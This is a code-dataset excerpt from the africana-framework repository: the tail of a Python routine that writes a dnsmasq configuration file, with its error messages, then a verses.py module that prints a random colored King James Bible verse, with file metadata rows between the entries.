{bcolors.BLUE} ]{bcolors.ENDC}\n") except Exception as e: print(f"\n{bcolors.BLUE} [ {bcolors.RED} Failed to write the dnsmasq.conf file {bcolors.BLUE} ] {bcolors.ENDC} \n {e}") pass else: print(f"{bcolors.BLUE} [ {bcolors.RED}Dnsmasq isn't installed, install it with 'sudo apt install dnsmasq{bcolors.BLUE} ] {bcolors.ENDC} \n {e}") pass config = configure() if ' __name__' == '__main__': sys.exit(config())
17,781
Python
.py
233
60.600858
363
0.51888
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,740
verses.py
CHEGEBB_africana-framework/scriptures/verses.py
import random from src.core.bcolors import * class bible_verse(object): def __init__(self): pass def verses(self): verse = random.randrange(0, 105) if verse == 0: print(bcolors.GREEN + " ~[ " + color() + " God saw the light, that it was good: & God divided the " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Gen.1:4 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 1: print(bcolors.GREEN + " ~[ " + color() + " I will bless thee… and thou shalt be a blessing " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Gen.12:2 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 2: print(bcolors.GREEN + " ~[ " + color() + " I am thy shield, and thy exceeding great reward " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Gen.15:1 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 3: print(bcolors.GREEN + " ~[ " + color() + "Fear ye not stand still & see the salvation of the LORD" + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ex.14:13 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 4: print(bcolors.GREEN + " ~[ " + color() + " I will make all My goodness pass before thee " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ex.33:19 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 5: print(bcolors.GREEN + " ~[ " + color() + " The LORD God, merciful and gracious " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ex.34:6 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 6: print(bcolors.GREEN + " ~[ " + color() + " I set my tabernacle among you " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Lev.26:11" + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 7: print(bcolors.GREEN + " ~[ " + color() + " I will walk among you, and will be your God " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Lev.26:12" + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 8: print(bcolors.GREEN + " ~[ " + color() + " The LORD is longsuffering, and of great mercy " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Num.14:18" + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 9: print(bcolors.GREEN + " ~[ " + color() + " Thou shalt love the LORD thy God with all thine heart " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Deut.6:5 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 10: print(bcolors.GREEN + " ~[ " + color() + " Shall ye lay up these my words in your heart & in you " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Deu.11:18" + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 11: print(bcolors.GREEN + " ~[ " + color() + " Thou shalt rejoice before the LORD thy God " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Deu.12:18" + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 12: print(bcolors.GREEN + " ~[ " + color() + " Blessed shalt thou be in the city & blessed shalt thou " + bcolors.GREEN + "]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Deut.28:3" + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 13: print(bcolors.GREEN + " ~[ " + color() + " Blessed shall be the fruit of thy body & the fruit of " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Deut.28:4" + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 14: print(bcolors.GREEN + " ~[ " + color() + " Blessed shall be thy basket and thy store " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Deut.28:5" + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 15: print(bcolors.GREEN + " ~[ " + color() + " Blessed shalt thou be when thou comest in, & blessed s" + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Deut.28:6" + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 16: print(bcolors.GREEN + " ~[ " + color() + " They shall come out against thee one way and flee befo" + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Deut.28:7" + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 17: print(bcolors.GREEN + " ~[ " + color() + " And the LORD shall make thee the head, & not the tail " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Deu.28:13" + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 18: print(bcolors.GREEN + " ~[ " + color() + " Be strong & of a good courage fear not nor be afraid " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Deut.31:6" + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 19: print(bcolors.GREEN + " ~[ " + color() + " I will not fail thee, nor forsake thee " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Josh.1:5 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 20: print(bcolors.GREEN + " ~[ " + color() + " Only be thou strong and very courageous " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Josh.1:7 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 21: print(bcolors.GREEN + " ~[ " + color() + " This Book of the Law shall not depart out of thy mout " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Josh.1:8 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 22: print(bcolors.GREEN + " ~[ " + color() + " Have not I commanded thee? Be strong & of a good cour " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Josh.1:9 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 23: print(bcolors.GREEN + " ~[ " + color() + " Be not afraid neither be thou dismayed: for the LORD " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Josh.1:9 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 24: print(bcolors.GREEN + " ~[ " + color() + " Sanctify yourselves: for to morrow the LORD will do w " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Josh.3:5 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 25: print(bcolors.GREEN + " ~[ " + color() + " The LORD your God, He it is that fighteth for you " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Jos.23:10" + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 26: print(bcolors.GREEN + " ~[ " + color() + " Nay; but we will serve the LORD! " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Jos.24:21" + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 27: print(bcolors.GREEN + " ~[ " + color() + " I will never break my covenant with you " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Judg.2:1 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 28: print(bcolors.GREEN + " ~[ " + color() + " Them that love him be as the sun when he goeth forth " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Judg.5:31" + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 29: print(bcolors.GREEN + " ~[ " + color() + " Thy people shall be my people, and thy God my God " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ruth 1:16" + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 30: print(bcolors.GREEN + " ~[ " + color() + " He will keep the feet of His saints " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "1Sam.2:9 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 31: print(bcolors.GREEN + " ~[ " + color() + " Only fear the LORD, and serve Him in truth with all y " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Sam.12:24" + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 32: print(bcolors.GREEN + " ~[ " + color() + " I will shew thee what thou shalt do " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "1Sam.16:3" + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 33: print(bcolors.GREEN + " ~[ " + color() + " Man looketh on the outward appearance, but the LORD.. " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "1Sam.16:7" + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 34: print(bcolors.GREEN + " ~[ " + color() + " Yet he hath made with me an everlasting covenant " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "2Sam.23:5" + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 35: print(bcolors.GREEN + " ~[ " + color() + " Give therefore thy servant an understanding heart " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "1Kin.3:9 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 36: print(bcolors.GREEN + " ~[ " + color() + " The LORD your God ye shall fear; & he shall deliver " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "2Ki.17:39" + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 37: print(bcolors.GREEN + " ~[ " + color() + " Serve Him with a perfect heart & with a willing mind " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "1Chr.28:9" + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 38: print(bcolors.GREEN + " ~[ " + color() + " The LORD searcheth all hearts, & understandeth all " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "1Chr.28:9" + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 39: print(bcolors.GREEN + " ~[ " + color() + " If thou seek him, he will be found of thee " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "1Chr.28:9" + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 40: print(bcolors.GREEN + " ~[ " + color() + " The LORD is able to give thee much more than this " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "2Chr.25:9" + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 41: print(bcolors.GREEN + " ~[ " + color() + " Will not turn away His face from you, if ye return un " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "2Chr.30:9" + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 42: print(bcolors.GREEN + " ~[ " + color() + " He did it with all his heart, and prospered " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "2Ch.31:21" + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 43: print(bcolors.GREEN + " ~[ " + color() + " The hand of our God is upon all them for good that se " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ezdr 8:22" + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 44: print(bcolors.GREEN + " ~[ " + color() + " The joy of the LORD is your strength " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Neh.8:10 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 45: print(bcolors.GREEN + " ~[ " + color() + " & who knoweth whether thou art come to the kingdom for" + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Esth.4:14" + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 46: print(bcolors.GREEN + " ~[ " + color() + " Till he fill thy mouth with laughing & thy lips with " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Job 8:21 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 47: print(bcolors.GREEN + " ~[ " + color() + " I know that my redeemer liveth " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Job 19:25" + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 48: print(bcolors.GREEN + " ~[ " + color() + " Blessed is the man that walketh not in the counsel of " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.1:1 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 49: print(bcolors.GREEN + " ~[ " + color() + " The LORD knoweth the way of the righteous " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.1:6 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 50: print(bcolors.GREEN + " ~[ " + color() + " Serve the LORD with fear, and rejoice with trembling " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.2:11 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 51: print(bcolors.GREEN + " ~[ " + color() + " Blessed are all they that put their trust in Him " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.2:12 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 52: print(bcolors.GREEN + " ~[ " + color() + " But thou, O LORD, art a shield for me, my glory " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.3:3 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 53: print(bcolors.GREEN + " ~[ " + color() + " Lead me, O LORD, in thy righteousness " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.5:8 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 54: print(bcolors.GREEN + " ~[ " + color() + " For thou, LORD, wilt bless the righteous " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.5:12 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 55: print(bcolors.GREEN + " ~[ " + color() + " For the righteous God trieth the hearts " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.7:9 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 56: print(bcolors.GREEN + " ~[ " + color() + " I will praise thee, O LORD, with my whole heart " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.9:1 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 57: print(bcolors.GREEN + " ~[ " + color() + " For thou, LORD, hast not forsaken them that seek Thee " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.9:10 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 58: print(bcolors.GREEN + " ~[ " + color() + " The LORD is King for ever and ever " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.10:16 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 59: print(bcolors.GREEN + " ~[ " + color() + " LORD, thou hast heard the desire of the humble " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.10:17 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 60: print(bcolors.GREEN + " ~[ " + color() + " The LORD is the portion of mine inheritance and of my " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.16:5 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 61: print(bcolors.GREEN + " ~[ " + color() + " Hide me under the shadow of thy wings " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.17:8 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 62: print(bcolors.GREEN + " ~[ " + color() + " I will love thee, O LORD, my strength " + bcolors.GREEN + "]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.18:1 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 63: print(bcolors.GREEN + " ~[ " + color() + " The LORD is my rock,my fortress, and my deliverer " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.18:2 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 64: print(bcolors.GREEN + " ~[ " + color() + " For thou wilt light my candle " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.18:28 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 65: print(bcolors.GREEN + " ~[ " + color() + " The LORD my God will enlighten my darkness " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.18:28 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 66: print(bcolors.GREEN + " ~[ " + color() + " It is God that girdeth me with strength " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.18:32 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 67: print(bcolors.GREEN + " ~[ " + color() + " The LORD liveth; and blessed be my rock " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.18:46 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 68: print(bcolors.GREEN + " ~[ " + color() + " Let the God of my salvation be exalted " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.18:46 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 69: print(bcolors.GREEN + " ~[ " + color() + " The heavens declare the glory of God; & the firmament " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.19:1 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 70: print(bcolors.GREEN + " ~[ " + color() + " The law of the LORD is perfect, converting the soul " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.19:7 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 71: print(bcolors.GREEN + " ~[ " + color() + " The testimony of the LORD is sure making wise the sim " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.19:7 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 72: print(bcolors.GREEN + " ~[ " + color() + " The statutes of the LORD are right rejoicing the hear " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.19:8 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 73: print(bcolors.GREEN + " ~[ " + color() + " The commandment of the LORD is pure, enlightening the " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.19:8 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 74: print(bcolors.GREEN + " ~[ " + color() + " The fear of the LORD is clean, enduring for ever " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.19:9 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 75: print(bcolors.GREEN + " ~[ " + color() + " The judgments of the LORD are true & righteous altoge " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.19:9 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 76: print(bcolors.GREEN + " ~[ " + color() + " Some trust in chariots, & some in horses: but we will " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.20:7 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 77: print(bcolors.GREEN + " ~[ " + color() + " They shall praise the LORD that seek Him " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.22:26 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 78: print(bcolors.GREEN + " ~[ " + color() + " All the ends of the world shall remember & turn unto " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.22:27 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 79: print(bcolors.GREEN + " ~[ " + color() + " A seed shall serve Him " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.22:30 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 80: print(bcolors.GREEN + " ~[ " + color() + " The LORD is my shepherd; I shall not want " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.23:1 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 81: print(bcolors.GREEN + " ~[ " + color() + " The LORD strong and mighty, the LORD mighty in battle " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.24:8 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 82: print(bcolors.GREEN + " ~[ " + color() + " O my God, I trust in Thee: let me not be ashamed " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.25:2 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 83: print(bcolors.GREEN + " ~[ " + color() + " Shew me thy ways, O LORD; teach me Thy paths. " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.25:4 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 84: print(bcolors.GREEN + " ~[ " + color() + " Good & upright is the LORD: therefore will He teach s " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.25:8 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 85: print(bcolors.GREEN + " ~[ " + color() + " The secret of the LORD is with them that fear Him " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.25:14 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 86: print(bcolors.GREEN + " ~[ " + color() + " Mine eyes are ever toward the LORD for He shall pluck " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.25:15 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 87: print(bcolors.GREEN + " ~[ " + color() + " Teach me Thy way, O LORD " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps 27:11 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 88: print(bcolors.GREEN + " ~[ " + color() + " Wait on the LORD: be of good courage, and He shall st " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.27:14 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 89: print(bcolors.GREEN + " ~[ " + color() + " The LORD is my strength and my shield " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.28:7 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 90: print(bcolors.GREEN + " ~[ " + color() + " My heart trusted in Him, and I am helped " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.28:7 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 91: print(bcolors.GREEN + " ~[ " + color() + " The voice of the LORD is powerful the voice of the LOR " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.29:4 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 92: print(bcolors.GREEN + " ~[ " + color() + " The LORD will give strength unto His people " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.29:11 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 93: print(bcolors.GREEN + " ~[ " + color() + " The LORD will bless his people with peace " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.29:11 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 94: print(bcolors.GREEN + " ~[ " + color() + " In his favour is life " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.30:5 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 95: print(bcolors.GREEN + " ~[ " + color() + " Be of good courage and he shall strengthen your heart " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.31:24 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 96: print(bcolors.GREEN + " ~[ " + color() + " Blessed is he whose transgression is forgiven " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.32:1 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 97: print(bcolors.GREEN + " ~[ " + color() + " I will instruct thee and teach thee in the way which " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.32:8 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 98: print(bcolors.GREEN + " ~[ " + color() + " He that trusteth in the LORD, mercy shall compass him " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.32:10 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 99: print(bcolors.GREEN + " ~[ " + color() + " Be glad in the LORD, and rejoice " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.32:11 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 100: print(bcolors.GREEN + " ~[ " + color() + " For the word of the LORD is right; and all His works " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.33:4 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 101: print(bcolors.GREEN + " ~[ " + color() + " The earth is full of the goodness of the LORD " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.33:5 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 102: print(bcolors.GREEN + " ~[ " + color() + " Our soul waiteth for the LORD: He is our help and our s" + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.33:20 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 103: print(bcolors.GREEN + " ~[ " + color() + " They looked unto Him, and were lightened " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.34:5 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 104: print(bcolors.GREEN + " ~[ " + color() + " O taste and see that the LORD is good " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.34:8 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) if verse == 105: print(bcolors.GREEN + " ~[ " + color() + " They that seek the LORD shall not want any good thing " + bcolors.GREEN + " ]~ " + color() + "\n\n " + bcolors.YELLOW + "~[ " + color() + "Ps.34:10 " + bcolors.YELLOW + " ]~" + bcolors.ENDC) scriptures = bible_verse() if ' __name__' == '__main__': sys.exit(scriptures())
31,873
Python
.py
222
132.77027
275
0.454864
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,741
english-kjv.py
CHEGEBB_africana-framework/scriptures/english-kjv.py
